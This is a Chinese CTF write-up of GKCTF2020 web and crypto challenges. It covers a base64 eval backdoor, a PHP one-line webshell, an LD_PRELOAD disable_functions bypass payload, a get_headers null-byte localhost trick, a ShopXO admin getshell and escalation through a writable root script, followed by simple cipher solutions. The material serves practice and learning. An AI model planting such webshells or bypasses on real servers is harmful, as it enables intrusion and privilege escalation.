GKCTF2020--部分复现(加密和web)

2024-01-23 21:32

本文主要是介绍GKCTF2020--部分复现(加密和web),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

GKCTF2020–web

CheckIN

title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{public $code = null;public $decode = null;function __construct(){$this->code = @$this->x()['Ginkgo'];$this->decode = @base64_decode( $this->code );@Eval($this->decode);}public function x(){return $_REQUEST;}
}
new ClassName();

查看源码,不难发现,
在这里插入图片描述
有个eval()函数,并且将我们传入的参数进行base64解码再传入eval
没有任何过滤,传入ls 发现没用

phpinfo()

看看
在这里插入图片描述
看到disable_function
在这里插入图片描述
禁用了系统函数,我们写个马进去试试

eval($_POST[penson]);

在这里插入图片描述
由于他禁用了system函数,所以用蚁剑连接看看

在这里插入图片描述
发现根目录下有个readflag
估计就是要我们绕过disabled_function了
可以通过LD_PRELOAD这个环境变量,具体原理百度都能搜到,就不放了。
POC链接
下载他的poc链接
在传文件的时候,发现/var/html/www下并没有写权限,而其他目录却有
所以我上传到/vat/tmp目录下
在这里插入图片描述
然后用include()包含我们上传的php文件

include('/var/tmp/bypass_disablefunc.php');

在这里插入图片描述
可以发现成功包含,利用POC执行/readflag
payload

Ginkgo=aW5jbHVkZSgnL3Zhci90bXAvYnlwYXNzX2Rpc2FibGVmdW5jLnBocCcpOw==&cmd=/readflag&outpath=/tmp/xx&sopath=/var/tmp/bypass_disablefunc_x64.so

在这里插入图片描述

cve版签到

题目给出了提示
在这里插入图片描述
搜一波
CVE漏洞介绍
在这里插入图片描述
关键在于get_headers()函数
在这里插入图片描述
点一下进去
在这里插入图片描述
大家应该都知道127.0.0.1是本地嘛,利用那个cve漏洞,加%00截断,访问本地进去
在这里插入图片描述
他说要是123
改成123
在这里插入图片描述
flag就出来了

[GKCTF2020]老八小超市儿

在这里插入图片描述百度搜搜ShopXo漏洞
漏洞复现地址
进到后台直接使用默认账号密码登录
在这里插入图片描述
getshell
在这里插入图片描述
就按照教程来就行了

在这里插入图片描述
看上面给的链接一步一步来就行了,不多说了
Webshell的路径为/public/static/index/default/2.php
在这里插入图片描述
成功getshell
蚁剑连接
成功连接之后发现去根目录找flag,发现flag在/root目录下
在这里插入图片描述
这说明我们还得提权,获得更高的权限,可以发现有个特别红的玩意,我们点进去看看
在这里插入图片描述
在这里插入图片描述
有个python脚本,并且说出了他的位置,看一下python脚本
在这里插入图片描述
看的提示,说明这个脚本有root权限,属于root这个用户,并且这个脚本有写权限,

在这里插入图片描述
就可以根据这个python脚本来获取flag
因为这个脚本有写权限,就可以改下脚本,读取flag

在这里插入图片描述
但是呢这个脚本我们没有权限可以去执行,所以不行,回到根目录下的一个shell文件
在这里插入图片描述
在这里插入图片描述
他可以执行这个脚本
那咱们运行这个shell来看看
在这里插入图片描述
最终发现这个shell是可以成功运行的,flag到手

CRYPTO

小学生的密码学

在这里插入图片描述
把他给出的表达式一搜,就有仿射密码
在这里插入图片描述
base64编码即可

汉字的秘密

百度一搜会搜到当铺密码
当铺密码原理解释

在这里插入图片描述
然后你会发现第一个字符ascii加一就是F,第二个字符加2就是L
正好是flag
写脚本跑

a =[69,74,62,67,118,83,72,77,86,55,71,57,82,57,64,63,51,103]
str =""
j=0for i in a:j += 1str +=chr(i+j)print(i)print(str)

在这里插入图片描述
把y改成括号即可

这篇关于GKCTF2020--部分复现(加密和web)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/637596

相关文章

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

JavaWeb-WebSocket浏览器服务器双向通信方式

《JavaWeb-WebSocket浏览器服务器双向通信方式》文章介绍了WebSocket协议的工作原理和应用场景,包括与HTTP的对比,接着,详细介绍了如何在Java中使用WebSocket,包括配... 目录一、概述二、入门2.1 POM依赖2.2 编写配置类2.3 编写WebSocket服务2.4 浏

Spring常见错误之Web嵌套对象校验失效解决办法

《Spring常见错误之Web嵌套对象校验失效解决办法》:本文主要介绍Spring常见错误之Web嵌套对象校验失效解决的相关资料,通过在Phone对象上添加@Valid注解,问题得以解决,需要的朋... 目录问题复现案例解析问题修正总结  问题复现当开发一个学籍管理系统时,我们会提供了一个 API 接口去

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

Java中的密码加密方式

《Java中的密码加密方式》文章介绍了Java中使用MD5算法对密码进行加密的方法,以及如何通过加盐和多重加密来提高密码的安全性,MD5是一种不可逆的哈希算法,适合用于存储密码,因为其输出的摘要长度固... 目录Java的密码加密方式密码加密一般的应用方式是总结Java的密码加密方式密码加密【这里采用的

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择

使用Python制作一个PDF批量加密工具

《使用Python制作一个PDF批量加密工具》PDF批量加密‌是一种保护PDF文件安全性的方法,通过为多个PDF文件设置相同的密码,防止未经授权的用户访问这些文件,下面我们来看看如何使用Python制... 目录1.简介2.运行效果3.相关源码1.简介一个python写的PDF批量加密工具。PDF批量加密

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

poj 2976 分数规划二分贪心(部分对总体的贡献度) poj 3111

poj 2976: 题意: 在n场考试中,每场考试共有b题,答对的题目有a题。 允许去掉k场考试,求能达到的最高正确率是多少。 解析: 假设已知准确率为x,则每场考试对于准确率的贡献值为: a - b * x,将贡献值大的排序排在前面舍弃掉后k个。 然后二分x就行了。 代码: #include <iostream>#include <cstdio>#incl